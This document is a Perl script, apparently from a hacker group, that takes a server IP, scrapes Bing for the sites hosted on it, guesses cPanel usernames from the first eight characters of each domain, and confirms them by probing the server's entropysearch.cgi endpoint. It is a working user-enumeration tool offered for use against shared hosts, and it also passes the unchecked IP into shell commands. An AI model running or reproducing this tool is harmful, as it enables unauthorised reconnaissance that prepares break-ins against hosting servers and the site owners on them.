M-A Server Users Grabber 0.1

#!/usr/bin/perl
#
# M-A_labz project
# gr33tz : b0y h4ck3r , Mr_Anarshi-T
#
# http://upload.traidnt.net/upfiles/NfH25374.png

use HTTP::Request;
use Win32::Console::ANSI;
use LWP::Simple;
use Term::ANSIColor;
## Conf
print color ("bold white"), "\n[+] M-A Server User Grabber 0.1 \n";
print color 'reset';
print color ("red"), "\n[+] Enter IP : ";
print color 'reset';
$ip=<STDIN>;
chomp($ip);
## Start Grabbing from bing Basing on ip
my $page = 0;
                print color("green"), "[+] Working on $ip\n";
                print color 'reset';
        while (1) {

                my $content = get("http://www.bing.com/search?q=ip:$ip&first=$page&FORM=PERE") or die("Error while reversing\n");
                my $status = keys %group;
                while ( $content =~ /<cite>[:\/\/]*([\w\.\-]+)[\w+\/\.\-_:\?=]*<\/cite>/g) {
                        $group{$1} = undef;
                }
                last if ($status == keys %group);
                $page = $page + 10;
        }
        open (rev,">result-$ip.txt");
        foreach my $host (keys %group) {
        print rev "$host\n";
        }
        close(rev);
        print color("green"),  "[+] D0ne Grabbing Sites\n";
        print color 'reset';

## start parsing users
print color("green"),  "[+] Start Users Listing ...\n\n";
print color 'reset';
## sort sites list
system("sed -e \"s/www.//g\" result-$ip.txt > tt2.txt");
system("rm -rf result-$ip.txt");
system("sed -e \"s/\\.//g\" tt2.txt > result-$ip.txt");
system("rm -rf tt2.txt");
sleep 0.1;
## get first 8 char of each site
system("cut -c-8 result-$ip.txt > users-$ip.txt");
##
open (file2, "<users-$ip.txt") || die "[-] Can't Open Users List !";
my @users = <file2>;
close file2;
foreach my $user (@users) {
chomp $user;

my $check = "http://$ip/cgi-sys/entropysearch.cgi?user=$user";
my $reqcheck=HTTP::Request->new(GET=>$check);
my $uacheck=LWP::UserAgent->new();
$uacheck->timeout(5);
my $responsecheck=$uacheck->request($reqcheck);

if ($responsecheck->content=~ /$user/)
{
print color("yellow"), "[+] User Found : $user\n";
print color 'reset';
open(TN,">>$ip-users.txt");
print TN "$user\n";
close(TN);
}
}
## cleaning
system("rm -rf users-$ip.txt && rm -rf result-$ip.txt");